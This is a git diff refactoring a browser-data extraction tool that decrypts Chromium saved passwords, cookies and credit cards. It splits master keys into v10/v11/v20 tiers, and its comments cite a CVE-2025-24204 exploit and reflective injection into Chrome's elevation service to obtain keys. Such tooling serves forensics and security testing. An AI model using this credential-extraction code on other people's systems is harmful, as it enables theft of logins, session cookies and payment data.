-			value, err := decryptValue(masterKey, encryptedValue)
-			if err != nil {
-				decryptFails++
-				lastErr = err
-			}
+			value, _ := decryptValue(keys, encryptedValue)
 			value = stripCookieHash(value, host)
 			return types.CookieEntry{
 				Name:         name,
@@ -58,9 +52,6 @@ func extractCookies(masterKey []byte, path string) ([]types.CookieEntry, error)
 	if err != nil {
 		return nil, err
 	}
-	if decryptFails > 0 {
-		log.Warnf("cookies: total=%d decrypt_failed=%d last_err=%v", len(cookies), decryptFails, lastErr)
-	}
 
 	sort.Slice(cookies, func(i, j int) bool {
 		return cookies[i].CreatedAt.After(cookies[j].CreatedAt)
diff --git a/browser/chromium/extract_cookie_test.go b/browser/chromium/extract_cookie_test.go
index 18876ed..581523b 100644
--- a/browser/chromium/extract_cookie_test.go
+++ b/browser/chromium/extract_cookie_test.go
@@ -6,6 +6,8 @@ import (
 
 	"github.com/stretchr/testify/assert"
 	"github.com/stretchr/testify/require"
+
+	"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
 )
 
 func setupCookieDB(t *testing.T) string {
@@ -19,7 +21,7 @@ func setupCookieDB(t *testing.T) string {
 func TestExtractCookies(t *testing.T) {
 	path := setupCookieDB(t)
 
-	got, err := extractCookies(nil, path)
+	got, err := extractCookies(keyretriever.MasterKeys{}, path)
 	require.NoError(t, err)
 	require.Len(t, got, 2)
 
diff --git a/browser/chromium/extract_creditcard.go b/browser/chromium/extract_creditcard.go
index f4c3823..afa4042 100644
--- a/browser/chromium/extract_creditcard.go
+++ b/browser/chromium/extract_creditcard.go
@@ -3,7 +3,7 @@ package chromium
 import (
 	"database/sql"
 
-	"github.com/moond4rk/hackbrowserdata/log"
+	"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
 	"github.com/moond4rk/hackbrowserdata/types"
 	"github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
 )
@@ -14,9 +14,7 @@ const (
 	countCreditCardQuery = `SELECT COUNT(*) FROM credit_cards`
 )
 
-func extractCreditCards(masterKey []byte, path string) ([]types.CreditCardEntry, error) {
-	var decryptFails int
-	var lastErr error
+func extractCreditCards(keys keyretriever.MasterKeys, path string) ([]types.CreditCardEntry, error) {
 	cards, err := sqliteutil.QueryRows(path, false, defaultCreditCardQuery,
 		func(rows *sql.Rows) (types.CreditCardEntry, error) {
 			var guid, name, month, year, nickname, address string
@@ -24,11 +22,7 @@ func extractCreditCards(masterKey []byte, path string) ([]types.CreditCardEntry,
 			if err := rows.Scan(&guid, &name, &month, &year, &encNumber, &nickname, &address); err != nil {
 				return types.CreditCardEntry{}, err
 			}
-			number, err := decryptValue(masterKey, encNumber)
-			if err != nil {
-				decryptFails++
-				lastErr = err
-			}
+			number, _ := decryptValue(keys, encNumber)
 			return types.CreditCardEntry{
 				GUID:     guid,
 				Name:     name,
@@ -42,9 +36,6 @@ func extractCreditCards(masterKey []byte, path string) ([]types.CreditCardEntry,
 	if err != nil {
 		return nil, err
 	}
-	if decryptFails > 0 {
-		log.Debugf("decrypt credit cards: %d failed: %v", decryptFails, lastErr)
-	}
 	return cards, nil
 }
 
diff --git a/browser/chromium/extract_creditcard_test.go b/browser/chromium/extract_creditcard_test.go
index d09b09a..8a4378e 100644
--- a/browser/chromium/extract_creditcard_test.go
+++ b/browser/chromium/extract_creditcard_test.go
@@ -5,6 +5,8 @@ import (
 
 	"github.com/stretchr/testify/assert"
 	"github.com/stretchr/testify/require"
+
+	"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
 )
 
 func setupCreditCardDB(t *testing.T) string {
@@ -18,7 +20,7 @@ func setupCreditCardDB(t *testing.T) string {
 func TestExtractCreditCards(t *testing.T) {
 	path := setupCreditCardDB(t)
 
-	got, err := extractCreditCards(nil, path)
+	got, err := extractCreditCards(keyretriever.MasterKeys{}, path)
 	require.NoError(t, err)
 	require.Len(t, got, 2)
 
diff --git a/browser/chromium/extract_password.go b/browser/chromium/extract_password.go
index 42cca34..98000c6 100644
--- a/browser/chromium/extract_password.go
+++ b/browser/chromium/extract_password.go
@@ -4,7 +4,7 @@ import (
 	"database/sql"
 	"sort"
 
-	"github.com/moond4rk/hackbrowserdata/log"
+	"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
 	"github.com/moond4rk/hackbrowserdata/types"
 	"github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
 )
@@ -14,13 +14,11 @@ const (
 	countLoginQuery   = `SELECT COUNT(*) FROM logins`
 )
 
-func extractPasswords(masterKey []byte, path string) ([]types.LoginEntry, error) {
-	return extractPasswordsWithQuery(masterKey, path, defaultLoginQuery)
+func extractPasswords(keys keyretriever.MasterKeys, path string) ([]types.LoginEntry, error) {
+	return extractPasswordsWithQuery(keys, path, defaultLoginQuery)
 }
 
-func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.LoginEntry, error) {
-	var decryptFails int
-	var lastErr error
+func extractPasswordsWithQuery(keys keyretriever.MasterKeys, path, query string) ([]types.LoginEntry, error) {
 	logins, err := sqliteutil.QueryRows(path, false, query,
 		func(rows *sql.Rows) (types.LoginEntry, error) {
 			var url, username string
@@ -29,11 +27,7 @@ func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.Lo
 			if err := rows.Scan(&url, &username, &pwd, &created); err != nil {
 				return types.LoginEntry{}, err
 			}
-			password, err := decryptValue(masterKey, pwd)
-			if err != nil {
-				decryptFails++
-				lastErr = err
-			}
+			password, _ := decryptValue(keys, pwd)
 			return types.LoginEntry{
 				URL:       url,
 				Username:  username,
@@ -44,9 +38,6 @@ func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.Lo
 	if err != nil {
 		return nil, err
 	}
-	if decryptFails > 0 {
-		log.Warnf("passwords: total=%d decrypt_failed=%d last_err=%v", len(logins), decryptFails, lastErr)
-	}
 
 	sort.Slice(logins, func(i, j int) bool {
 		return logins[i].CreatedAt.After(logins[j].CreatedAt)
@@ -56,9 +47,9 @@ func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.Lo
 
 // extractYandexPasswords extracts passwords from Yandex's Ya Passman Data, which stores the URL in
 // action_url instead of origin_url.
-func extractYandexPasswords(masterKey []byte, path string) ([]types.LoginEntry, error) {
+func extractYandexPasswords(keys keyretriever.MasterKeys, path string) ([]types.LoginEntry, error) {
 	const yandexLoginQuery = `SELECT action_url, username_value, password_value, date_created FROM logins`
-	return extractPasswordsWithQuery(masterKey, path, yandexLoginQuery)
+	return extractPasswordsWithQuery(keys, path, yandexLoginQuery)
 }
 
 func countPasswords(path string) (int, error) {
diff --git a/browser/chromium/extract_password_test.go b/browser/chromium/extract_password_test.go
index 446e935..0bc2ff6 100644
--- a/browser/chromium/extract_password_test.go
+++ b/browser/chromium/extract_password_test.go
@@ -5,6 +5,8 @@ import (
 
 	"github.com/stretchr/testify/assert"
 	"github.com/stretchr/testify/require"
+
+	"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
 )
 
 func setupLoginDB(t *testing.T) string {
@@ -18,7 +20,7 @@ func setupLoginDB(t *testing.T) string {
 func TestExtractPasswords(t *testing.T) {
 	path := setupLoginDB(t)
 
-	got, err := extractPasswords(nil, path)
+	got, err := extractPasswords(keyretriever.MasterKeys{}, path)
 	require.NoError(t, err)
 	require.Len(t, got, 2)
 
@@ -54,7 +56,7 @@ func TestExtractYandexPasswords(t *testing.T) {
 		insertLogin("https://origin.yandex.ru", "https://action.yandex.ru/submit", "user", "", 13350000000000000),
 	)
 
-	got, err := extractYandexPasswords(nil, path)
+	got, err := extractYandexPasswords(keyretriever.MasterKeys{}, path)
 	require.NoError(t, err)
 	require.Len(t, got, 1)
 	assert.Equal(t, "https://action.yandex.ru/submit", got[0].URL) // action_url, not origin_url
diff --git a/browser/chromium/source.go b/browser/chromium/source.go
index ef5af14..d474baf 100644
--- a/browser/chromium/source.go
+++ b/browser/chromium/source.go
@@ -3,6 +3,7 @@ package chromium
 import (
 	"path/filepath"
 
+	"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
 	"github.com/moond4rk/hackbrowserdata/types"
 )
 
@@ -68,17 +69,17 @@ func sourcesForKind(kind types.BrowserKind) map[types.Category][]sourcePath {
 // switch logic, enabling browser-specific parsing (e.g. Opera's opsettings
 // for extensions, Yandex's credit card table, QBCI-encrypted bookmarks).
 type categoryExtractor interface {
-	extract(masterKey []byte, path string, data *types.BrowserData) error
+	extract(keys keyretriever.MasterKeys, path string, data *types.BrowserData) error
 }
 
 // passwordExtractor wraps a custom password extract function.
 type passwordExtractor struct {
-	fn func(masterKey []byte, path string) ([]types.LoginEntry, error)
+	fn func(keys keyretriever.MasterKeys, path string) ([]types.LoginEntry, error)
 }
 
-func (e passwordExtractor) extract(masterKey []byte, path string, data *types.BrowserData) error {
+func (e passwordExtractor) extract(keys keyretriever.MasterKeys, path string, data *types.BrowserData) error {
 	var err error
-	data.Passwords, err = e.fn(masterKey, path)
+	data.Passwords, err = e.fn(keys, path)
 	return err
 }
 
@@ -87,7 +88,7 @@ type extensionExtractor struct {
 	fn func(path string) ([]types.ExtensionEntry, error)
 }
 
-func (e extensionExtractor) extract(_ []byte, path string, data *types.BrowserData) error {
+func (e extensionExtractor) extract(_ keyretriever.MasterKeys, path string, data *types.BrowserData) error {
 	var err error
 	data.Extensions, err = e.fn(path)
 	return err
diff --git a/crypto/keyretriever/keyretriever_darwin.go b/crypto/keyretriever/keyretriever_darwin.go
index 6ae49f8..ecc0d57 100644
--- a/crypto/keyretriever/keyretriever_darwin.go
+++ b/crypto/keyretriever/keyretriever_darwin.go
@@ -155,16 +155,18 @@ func (r *SecurityCmdRetriever) retrieveKeyOnce(storage string) ([]byte, error) {
 	return darwinParams.deriveKey(secret), nil
 }
 
-// DefaultRetriever returns the macOS retriever chain, tried in order:
+// DefaultRetrievers returns the macOS Retrievers. macOS has only a V10 tier (v11 and v20 cipher
+// prefixes are not used by Chromium on this platform), populated by a within-tier first-success
+// chain tried in order:
 //
 //  1. GcoredumpRetriever       — CVE-2025-24204 exploit (root only)
 //  2. KeychainPasswordRetriever — direct unlock, skipped when password is empty
 //  3. SecurityCmdRetriever      — `security` CLI fallback (may trigger a dialog)
-func DefaultRetriever(keychainPassword string) KeyRetriever {
-	retrievers := []KeyRetriever{&GcoredumpRetriever{}}
+func DefaultRetrievers(keychainPassword string) Retrievers {
+	chain := []KeyRetriever{&GcoredumpRetriever{}}
 	if keychainPassword != "" {
-		retrievers = append(retrievers, &KeychainPasswordRetriever{Password: keychainPassword})
+		chain = append(chain, &KeychainPasswordRetriever{Password: keychainPassword})
 	}
-	retrievers = append(retrievers, &SecurityCmdRetriever{cache: make(map[string]securityResult)})
-	return NewChain(retrievers...)
+	chain = append(chain, &SecurityCmdRetriever{cache: make(map[string]securityResult)})
+	return Retrievers{V10: NewChain(chain...)}
 }
diff --git a/crypto/keyretriever/keyretriever_linux.go b/crypto/keyretriever/keyretriever_linux.go
index c77b693..9284e46 100644
--- a/crypto/keyretriever/keyretriever_linux.go
+++ b/crypto/keyretriever/keyretriever_linux.go
@@ -68,19 +68,30 @@ func (r *DBusRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
 	return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound)
 }
 
-// FallbackRetriever uses the hardcoded "peanuts" password when D-Bus is unavailable.
-// https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/os_crypt_linux.cc;l=100
-type FallbackRetriever struct{}
+// PosixRetriever produces Chromium's kV10Key by applying PBKDF2 to the hardcoded password
+// "peanuts". Matches Chromium's upstream PosixKeyProvider (components/os_crypt/async/browser/
+// posix_key_provider.cc): a deterministic 16-byte AES-128 key used to encrypt ciphertexts with
+// the "v10" prefix when no keyring is available (headless servers, Docker, CI).
+type PosixRetriever struct{}
 
-func (r *FallbackRetriever) RetrieveKey(_, _ string) ([]byte, error) {
+func (r *PosixRetriever) RetrieveKey(_, _ string) ([]byte, error) {
 	return linuxParams.deriveKey([]byte("peanuts")), nil
 }
 
-// DefaultRetriever returns the Linux retriever chain:
-// D-Bus Secret Service first, then "peanuts" fallback.
-func DefaultRetriever() KeyRetriever {
-	return NewChain(
-		&DBusRetriever{},
-		&FallbackRetriever{},
-	)
+// DefaultRetrievers returns the Linux Retrievers, one per cipher tier. Chromium on Linux emits
+// distinct prefixes for distinct key sources:
+//
+//   - v10 prefix → PBKDF2("peanuts") — Chromium's kV10Key, emitted when no keyring is available
+//     (headless servers, Docker, CI).
+//   - v11 prefix → PBKDF2(keyring secret) — Chromium's kV11Key, emitted when D-Bus Secret
+//     Service (GNOME Keyring / KWallet) is reachable.
+//
+// A profile can carry both prefixes if the host moved between keyring-equipped and headless
+// sessions, so both tiers run independently with per-tier logging rather than a first-success
+// chain.
+func DefaultRetrievers() Retrievers {
+	return Retrievers{
+		V10: &PosixRetriever{},
+		V11: &DBusRetriever{},
+	}
 }
diff --git a/crypto/keyretriever/keyretriever_linux_test.go b/crypto/keyretriever/keyretriever_linux_test.go
index 836e123..548ba0a 100644
--- a/crypto/keyretriever/keyretriever_linux_test.go
+++ b/crypto/keyretriever/keyretriever_linux_test.go
@@ -9,8 +9,8 @@ import (
 	"github.com/stretchr/testify/require"
 )
 
-func TestFallbackRetriever(t *testing.T) {
-	r := &FallbackRetriever{}
+func TestPosixRetriever(t *testing.T) {
+	r := &PosixRetriever{}
 
 	key, err := r.RetrieveKey("Chrome", "")
 	require.NoError(t, err)
@@ -27,32 +27,40 @@ func TestFallbackRetriever(t *testing.T) {
 	}
 	assert.False(t, allZero, "derived key should not be all zeros")
 
-	// "peanuts" is a fixed fallback password, so the result should be
-	// the same regardless of storage name or number of calls.
+	// "peanuts" is a hardcoded password, so the result should be the same regardless of storage
+	// name or number of calls.
 	key2, err := r.RetrieveKey("Brave", "")
 	require.NoError(t, err)
-	assert.Equal(t, key, key2, "fallback key should be the same for any storage")
+	assert.Equal(t, key, key2, "kV10Key should be constant across any storage label")
 }
 
-// TestFallbackRetriever_MatchesChromiumKV10Key pins FallbackRetriever's
-// output to Chromium's kV10Key reference bytes in os_crypt_linux.cc.
-func TestFallbackRetriever_MatchesChromiumKV10Key(t *testing.T) {
+// TestPosixRetriever_MatchesChromiumKV10Key pins PosixRetriever's output to Chromium's kV10Key
+// reference bytes (PBKDF2-HMAC-SHA1 of "peanuts" with "saltysalt", 1 iteration, 16 bytes).
+func TestPosixRetriever_MatchesChromiumKV10Key(t *testing.T) {
 	want := []byte{
 		0xfd, 0x62, 0x1f, 0xe5, 0xa2, 0xb4, 0x02, 0x53,
 		0x9d, 0xfa, 0x14, 0x7c, 0xa9, 0x27, 0x27, 0x78,
 	}
-	r := &FallbackRetriever{}
+	r := &PosixRetriever{}
 	key, err := r.RetrieveKey("", "")
 	require.NoError(t, err)
 	assert.Equal(t, want, key)
 }
 
-func TestDefaultRetriever_Linux(t *testing.T) {
-	r := DefaultRetriever()
-	chain, ok := r.(*ChainRetriever)
-	require.True(t, ok, "DefaultRetriever should return a *ChainRetriever")
+func TestDefaultRetrievers_Linux(t *testing.T) {
+	r := DefaultRetrievers()
 
-	assert.Len(t, chain.retrievers, 2, "chain should have 2 retrievers")
-	assert.IsType(t, &DBusRetriever{}, chain.retrievers[0], "first retriever should be DBusRetriever")
-	assert.IsType(t, &FallbackRetriever{}, chain.retrievers[1], "second retriever should be FallbackRetriever")
+	// V10 slot: peanuts-derived kV10Key — PosixRetriever.
+	assert.IsType(t, &PosixRetriever{}, r.V10, "V10 slot should hold PosixRetriever (peanuts kV10Key)")
+
+	// V11 slot: D-Bus keyring kV11Key — DBusRetriever.
+	assert.IsType(t, &DBusRetriever{}, r.V11, "V11 slot should hold DBusRetriever (keyring kV11Key)")
+
+	// V20 slot: ABE is Windows-only, nil on Linux.
+	assert.Nil(t, r.V20, "V20 slot must stay nil on Linux")
+
+	// Smoke: both populated slots must actually retrieve (PosixRetriever always succeeds; DBus may
+	// fail in test env, which is fine — we only want to confirm the wiring, not real keys).
+	require.NotNil(t, r.V10)
+	require.NotNil(t, r.V11)
 }
diff --git a/crypto/keyretriever/keyretriever_windows.go b/crypto/keyretriever/keyretriever_windows.go
index d5a940a..14a0054 100644
--- a/crypto/keyretriever/keyretriever_windows.go
+++ b/crypto/keyretriever/keyretriever_windows.go
@@ -48,6 +48,14 @@ func (r *DPAPIRetriever) RetrieveKey(_, localStatePath string) ([]byte, error) {
 	return masterKey, nil
 }
 
-func DefaultRetriever() KeyRetriever {
-	return NewChain(&ABERetriever{}, &DPAPIRetriever{})
+// DefaultRetrievers returns the Windows Retrievers: DPAPI for v10 (Chrome's os_crypt.encrypted_key)
+// and ABE for v20 (Chrome 127+ os_crypt.app_bound_encrypted_key retrieved via reflective injection
+// into the browser's elevation service). Both run independently — a single Chrome profile upgraded
+// from pre-v127 carries mixed v10+v20 ciphertexts, and both tiers must be attempted to decrypt the
+// full profile (see issue #578).
+func DefaultRetrievers() Retrievers {
+	return Retrievers{
+		V10: &DPAPIRetriever{},
+		V20: &ABERetriever{},
+	}
 }
diff --git a/crypto/keyretriever/masterkeys.go b/crypto/keyretriever/masterkeys.go
new file mode 100644
index 0000000..0e24211
--- /dev/null
+++ b/crypto/keyretriever/masterkeys.go
@@ -0,0 +1,72 @@
+package keyretriever
+
+import (
+	"errors"
+	"fmt"
+)
+
+// MasterKeys bundles the per-cipher-version Chromium master keys used to decrypt data from a
+// single profile. decryptValue dispatches on the ciphertext's version prefix and picks the
+// matching key; a missing (nil) key for a tier means "that cipher version cannot be decrypted",
+// but the other tiers remain usable — a Chrome 127+ profile upgraded from pre-127 carries mixed
+// v10+v20 ciphertexts, and Linux profiles may carry mixed v10+v11 for analogous reasons.
+//
+//   - V10: Chrome 80+ key with "v10" cipher prefix.
+//   - Windows: os_crypt.encrypted_key decrypted by user-level DPAPI (AES-GCM ciphertexts).
+//   - macOS:   derived from Keychain via PBKDF2(1003, SHA-1) (AES-CBC ciphertexts).
+//   - Linux:   derived from "peanuts" hardcoded password (Chromium's kV10Key, AES-CBC).
+//   - V11: Chrome Linux key with "v11" cipher prefix, derived from D-Bus Secret Service
+//     (KWallet / GNOME Keyring) via PBKDF2. Nil on Windows and macOS (v11 prefix not used there).
+//   - V20: Chrome 127+ Windows key with "v20" cipher prefix, retrieved via reflective injection
+//     into the browser's elevation service. Nil on non-Windows platforms.
+type MasterKeys struct {
+	V10 []byte
+	V11 []byte
+	V20 []byte
+}
+
+// Retrievers is the per-tier retriever configuration passed to NewMasterKeys. Each slot runs
+// independently — failure or absence of one tier does not affect others. Platform injectors set
+// only the slots that apply to their platform and leave the rest nil (e.g. Linux populates
+// V10+V11, leaves V20 nil).
+type Retrievers struct {
+	V10 KeyRetriever
+	V11 KeyRetriever
+	V20 KeyRetriever
+}
+
+// NewMasterKeys fetches every configured tier in r independently and returns the assembled
+// MasterKeys together with any per-tier errors joined into one. Nil retrievers and retrievers
+// returning (nil, nil) (the "not applicable" signal — e.g. ABERetriever on a non-ABE fork)
+// contribute nil keys silently; only non-nil errors propagate.
+//
+// The returned error, when non-nil, is an errors.Join of per-tier failures formatted as
+// "<tier>: <err>" (e.g. "v10: dpapi decrypt: ..."). Callers are expected to log it at whatever
+// severity fits their context — this function itself never logs, leaving logging policy to its
+// callers. Other pieces of the keyretriever package (e.g. ChainRetriever) may still log on their
+// own failures; the "no-logging" guarantee is scoped to NewMasterKeys.
+func NewMasterKeys(r Retrievers, storage, localStatePath string) (MasterKeys, error) {
+	var keys MasterKeys
+	var errs []error
+
+	for _, t := range []struct {
+		name string
+		r    KeyRetriever
+		dst  *[]byte
+	}{
+		{"v10", r.V10, &keys.V10},
+		{"v11", r.V11, &keys.V11},
+		{"v20", r.V20, &keys.V20},
+	} {
+		if t.r == nil {
+			continue
+		}
+		k, err := t.r.RetrieveKey(storage, localStatePath)
+		if err != nil {
+			errs = append(errs, fmt.Errorf("%s: %w", t.name, err))
+			continue
+		}
+		*t.dst = k
+	}
+	return keys, errors.Join(errs...)
+}
diff --git a/crypto/keyretriever/masterkeys_test.go b/crypto/keyretriever/masterkeys_test.go
new file mode 100644
index 0000000..1b79932
--- /dev/null
+++ b/crypto/keyretriever/masterkeys_test.go
@@ -0,0 +1,178 @@
+package keyretriever
+
+import (
+	"bytes"
+	"errors"
+	"testing"
+
+	"github.com/stretchr/testify/assert"
+	"github.com/stretchr/testify/require"
+)
+
+// recordingRetriever captures call count and arguments so tests can verify each tier's retriever
+// is invoked exactly once with the expected storage and localStatePath.
+type recordingRetriever struct {
+	key []byte
+	err error
+
+	calls      int
+	gotStorage string
+	gotPath    string
+}
+
+func (r *recordingRetriever) RetrieveKey(storage, localStatePath string) ([]byte, error) {
+	r.calls++
+	r.gotStorage = storage
+	r.gotPath = localStatePath
+	return r.key, r.err
+}
+
+func TestNewMasterKeys_Matrix(t *testing.T) {
+	k10 := bytes.Repeat([]byte{0x10}, 32)
+	k11 := bytes.Repeat([]byte{0x11}, 32)
+	k20 := bytes.Repeat([]byte{0x20}, 32)
+
+	tests := []struct {
+		name         string
+		v10          *recordingRetriever
+		v11          *recordingRetriever
+		v20          *recordingRetriever
+		wantV10      []byte
+		wantV11      []byte
+		wantV20      []byte
+		wantErrParts []string // substrings that must all appear in the joined error; nil = no error
+	}{
+		{
+			name:    "Windows happy path (V10+V20 ok, V11 not configured)",
+			v10:     &recordingRetriever{key: k10},
+			v20:     &recordingRetriever{key: k20},
+			wantV10: k10, wantV20: k20,
+		},
+		{
+			name:    "Linux happy path (V10+V11 ok, V20 not configured)",
+			v10:     &recordingRetriever{key: k10},
+			v11:     &recordingRetriever{key: k11},
+			wantV10: k10, wantV11: k11,
+		},
+		{
+			name:    "macOS happy path (V10 only)",
+			v10:     &recordingRetriever{key: k10},
+			wantV10: k10,
+		},
+		{
+			name:    "all three tiers succeed",
+			v10:     &recordingRetriever{key: k10},
+			v11:     &recordingRetriever{key: k11},
+			v20:     &recordingRetriever{key: k20},
+			wantV10: k10, wantV11: k11, wantV20: k20,
+		},
+		{
+			name:         "one tier errors, others succeed (degraded)",
+			v10:          &recordingRetriever{key: k10},
+			v20:          &recordingRetriever{err: errors.New("inject failed")},
+			wantV10:      k10,
+			wantErrParts: []string{"v20: inject failed"},
+		},
+		{
+			name:         "two tiers error, one succeeds",
+			v10:          &recordingRetriever{key: k10},
+			v11:          &recordingRetriever{err: errors.New("dbus failed")},
+			v20:          &recordingRetriever{err: errors.New("inject failed")},
+			wantV10:      k10,
+			wantErrParts: []string{"v11: dbus failed", "v20: inject failed"},
+		},
+		{
+			name:         "all three tiers error (total failure)",
+			v10:          &recordingRetriever{err: errors.New("dpapi failed")},
+			v11:          &recordingRetriever{err: errors.New("dbus failed")},
+			v20:          &recordingRetriever{err: errors.New("inject failed")},
+			wantErrParts: []string{"v10: dpapi failed", "v11: dbus failed", "v20: inject failed"},
+		},
+		{
+			name:    "tier returns (nil, nil) — not applicable, silent",
+			v10:     &recordingRetriever{key: k10},
+			v20:     &recordingRetriever{}, // ABERetriever on non-ABE fork
+			wantV10: k10,
+		},
+		{
+			name: "all tiers (nil, nil) — no keys, no errors",
+			v10:  &recordingRetriever{},
+			v11:  &recordingRetriever{},
+			v20:  &recordingRetriever{},
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			var r Retrievers
+			if tt.v10 != nil {
+				r.V10 = tt.v10
+			}
+			if tt.v11 != nil {
+				r.V11 = tt.v11
+			}
+			if tt.v20 != nil {
+				r.V20 = tt.v20
+			}
+
+			keys, err := NewMasterKeys(r, "chrome", "/tmp/Local State")
+			assert.Equal(t, tt.wantV10, keys.V10)
+			assert.Equal(t, tt.wantV11, keys.V11)
+			assert.Equal(t, tt.wantV20, keys.V20)
+
+			if len(tt.wantErrParts) == 0 {
+				require.NoError(t, err)
+			} else {
+				require.Error(t, err)
+				for _, part := range tt.wantErrParts {
+					assert.Contains(t, err.Error(), part, "joined error should mention each failing tier")
+				}
+			}
+
+			// Every configured retriever must be called exactly once — this is the property
+			// that prevents any regression where a tier is silently bypassed.
+			for name, mock := range map[string]*recordingRetriever{"V10": tt.v10, "V11": tt.v11, "V20": tt.v20} {
+				if mock == nil {
+					continue
+				}
+				assert.Equal(t, 1, mock.calls, "%s retriever should be called exactly once", name)
+				assert.Equal(t, "chrome", mock.gotStorage)
+				assert.Equal(t, "/tmp/Local State", mock.gotPath)
+			}
+		})
+	}
+}
+
+func TestNewMasterKeys_AllNilRetrievers(t *testing.T) {
+	// All slots nil — macOS/Linux with no retriever wiring, or Windows with neither tier set up.
+	keys, err := NewMasterKeys(Retrievers{}, "chrome", "/tmp/Local State")
+	require.NoError(t, err)
+	assert.Nil(t, keys.V10)
+	assert.Nil(t, keys.V11)
+	assert.Nil(t, keys.V20)
+}
+
+func TestNewMasterKeys_PartialNil(t *testing.T) {
+	// Only V10 wired — typical macOS shape. V11/V20 left nil.
+	k10 := []byte("v10-key-bytes-for-testing")
+	r := &recordingRetriever{key: k10}
+	keys, err := NewMasterKeys(Retrievers{V10: r}, "Chrome", "")
+
+	require.NoError(t, err)
+	assert.Equal(t, k10, keys.V10)
+	assert.Nil(t, keys.V11)
+	assert.Nil(t, keys.V20)
+	assert.Equal(t, 1, r.calls)
+	assert.Equal(t, "Chrome", r.gotStorage)
+}
+
+func TestNewMasterKeys_ErrorWrapping(t *testing.T) {
+	// errors.Is should traverse errors.Join to find the original error — useful for callers
+	// that want to check for specific error types without string matching.
+	sentinel := errors.New("sentinel")
+	r := Retrievers{V20: &recordingRetriever{err: sentinel}}
+
+	_, err := NewMasterKeys(r, "chrome", "")
+	require.Error(t, err)
+	assert.ErrorIs(t, err, sentinel, "errors.Is should find wrapped sentinel error")
+}
diff --git a/crypto/version.go b/crypto/version.go
index 2c593d8..085c273 100644
--- a/crypto/version.go
+++ b/crypto/version.go
@@ -14,6 +14,12 @@ const (
 	// CipherV20 is Chrome 127+ App-Bound Encryption.
 	CipherV20 CipherVersion = "v20"
 
+	// CipherV12 is Chromium's SecretPortalKeyProvider (Flatpak / xdg-desktop-portal) tier —
+	// HKDF-SHA256 + AES-256-GCM with a secret retrieved via org.freedesktop.portal.Desktop.
+	// Recognized by DetectVersion so decryptValue can emit a known-gap error rather than a
+	// generic "unsupported cipher version" message; not yet implemented.
+	CipherV12 CipherVersion = "v12"
+
 	// CipherDPAPI is pre-Chrome 80 raw DPAPI encryption (no version prefix).
 	CipherDPAPI CipherVersion = "dpapi"
 
@@ -32,6 +38,8 @@ func DetectVersion(ciphertext []byte) CipherVersion {
 		return CipherV10
 	case "v11":
 		return CipherV11
+	case "v12":
+		return CipherV12
 	case "v20":
 		return CipherV20
 	default:
@@ -43,7 +51,7 @@ func DetectVersion(ciphertext []byte) CipherVersion {
 // Returns the ciphertext unchanged if no known prefix is found.
 func stripPrefix(ciphertext []byte) []byte {
 	ver := DetectVersion(ciphertext)
-	if ver == CipherV10 || ver == CipherV11 || ver == CipherV20 {
+	if ver == CipherV10 || ver == CipherV11 || ver == CipherV12 || ver == CipherV20 {
 		return ciphertext[versionPrefixLen:]
 	}
 	return ciphertext
diff --git a/crypto/version_test.go b/crypto/version_test.go
index 6f599ac..77b08d4 100644
--- a/crypto/version_test.go
+++ b/crypto/version_test.go
@@ -14,6 +14,7 @@ func TestDetectVersion(t *testing.T) {
 	}{
 		{"v10 prefix", []byte("v10" + "encrypted_data"), CipherV10},
 		{"v11 prefix", []byte("v11" + "encrypted_data"), CipherV11},
+		{"v12 prefix", []byte("v12" + "encrypted_data"), CipherV12},
 		{"v20 prefix", []byte("v20" + "encrypted_data"), CipherV20},
 		{"no prefix (DPAPI)", []byte{0x01, 0x00, 0x00, 0x00}, CipherDPAPI},
 		{"short input", []byte{0x01, 0x02}, CipherDPAPI},
@@ -36,6 +37,7 @@ func Test_stripPrefix(t *testing.T) {
 	}{
 		{"strips v10", []byte("v10PAYLOAD"), []byte("PAYLOAD")},
 		{"strips v11", []byte("v11PAYLOAD"), []byte("PAYLOAD")},
+		{"strips v12", []byte("v12PAYLOAD"), []byte("PAYLOAD")},
 		{"strips v20", []byte("v20PAYLOAD"), []byte("PAYLOAD")},
 		{"keeps DPAPI unchanged", []byte{0x01, 0x00, 0x00}, []byte{0x01, 0x00, 0x00}},
 		{"keeps short unchanged", []byte{0x01}, []byte{0x01}},
diff --git a/rfcs/006-key-retrieval-mechanisms.md b/rfcs/006-key-retrieval-mechanisms.md
index 259660f..72a607a 100644
--- a/rfcs/006-key-retrieval-mechanisms.md
+++ b/rfcs/006-key-retrieval-mechanisms.md
@@ -22,8 +22,8 @@ For Chromium encryption details (cipher versions, AES-CBC/GCM), see [RFC-003](00
 
 The interface takes two parameters:
 
-- **`storage`** — keychain/keyring label identifying the browser's secret (e.g. `"Chrome"` on macOS, `"Chrome Safe Storage"` on Linux). Unused on Windows.
-- **`localStatePath`** — path to `Local State` JSON file. Only used on Windows.
+- **`storage`** — platform-dependent identifier. On macOS it's the Keychain account label (e.g. `"Chrome"`); on Linux it's the D-Bus collection label (e.g. `"Chrome Safe Storage"`); on Windows it's the browser key used by `ABERetriever` to locate the elevation-service COM interface (e.g. `"chrome"`, `"edge"`). Ignored by `DPAPIRetriever`.
+- **`localStatePath`** — path to `Local State` JSON file. Only used on Windows (DPAPI + ABE both read it).
 
 The return value is the **ready-to-use decryption key** — either the raw AES key (Windows) or the PBKDF2-derived key (macOS/Linux).
 
@@ -75,7 +75,7 @@ The authoritative mapping lives in the `Storage` field of each entry in `platfor
 
 ## 4. Windows Key Retrieval
 
-Chromium on Windows stores the master key in `Local State` JSON, encrypted with DPAPI.
